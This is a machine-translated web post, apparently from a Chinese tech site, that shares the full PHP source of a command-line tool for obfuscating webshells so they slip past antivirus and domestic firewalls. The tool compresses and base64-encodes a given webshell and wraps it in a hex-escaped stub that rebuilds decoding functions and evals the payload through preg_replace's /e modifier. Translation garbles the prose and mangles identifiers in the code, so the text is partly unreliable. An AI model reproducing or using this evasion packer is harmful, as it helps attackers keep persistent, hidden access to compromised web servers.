Lostwolf wrote it.
It's not Webshell, it's just a webshell-free tool.
Do not use the original Webshell
Kill Phpwebshell Only
The tool runs in CLI mode!
If there is no way to break the file content filtering can try to use this tool to avoid killing big horse!
Any PHP Webshell through this tool can be spared some of the domestic BT firewall
Copy CodeThe code is as follows:
/*
title:php Shell Nokill t00l
Blog:exploit-db.blogcn.com
*/
error_reporting (0);
@ini_set (' Memory_limit ', '-1 ');
Set_time_limit (0);
$toolname = "$argv [0]";
if ($ARGC <2) {
Baner ($toolname);
Die
}
$input _file= Trim ($argv [1]);
$output _file= ' Nokill_ '. $input _file;
if (file_exists ($input _file)) {
NO_KILL_C0DE ($input _file, $output _file);
echo "PHP shell Nokill t00l\r\n";
echo "blog:exploit-db.blogcn.com\r\n";
echo "Input: {$input _file}\r\n";
$file _full_path=dirname (__file__). Directory_separator. $output _file;
echo "[+] Generate success!\r\n";
echo "Saved to {$file _full_path}". \ r \ n ";
} else {
echo "PHP shell Nokill t00l\r\n";
echo "blog:exploit-db.blogcn.com\r\n";
Die ("[-] Failed!" The File $input _file does not exist ");
}
function no_kill_c0de ($input _file, $output _file) {
$no _whitespace=php_strip_whitespace ($input _file);
$no _php_tag=trim (Trim ($no _whitespace, ' ');
$enfile =base64_encode (gzdeflate ($no _php_tag));
$shellcode = "\x3c\x3f\x70\x68\x70\xd\xa";
$shellcode. = ' $enfile = '. '. ' {$enfile} ". '" '. ' "." \xd\xa ";
$shellcode. = "\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\ X66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\ X66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\ X27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\ X58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\ X5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\ X28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa ";
$shellcode. = "\x3f\x3e";
File_put_contents ("$output _file", $shellcode);
}
function Baner ($toolname) {
echo "PHP shell Nokill t00l\r\n";
echo "blog:exploit-db.blogcn.com\r\n";
echo "Usage: {$toolname} phpwebshell\r\n";
}
?>
http://www.bkjia.com/PHPjc/326209.html www.bkjia.com true http://www.bkjia.com/PHPjc/326209.html techarticle Lostwolf wrote this is not Webshell, just a webshell-free tool do not webshell use only to kill Phpwebshell the tool run in CLI mode! If there is no way to break the file content ...
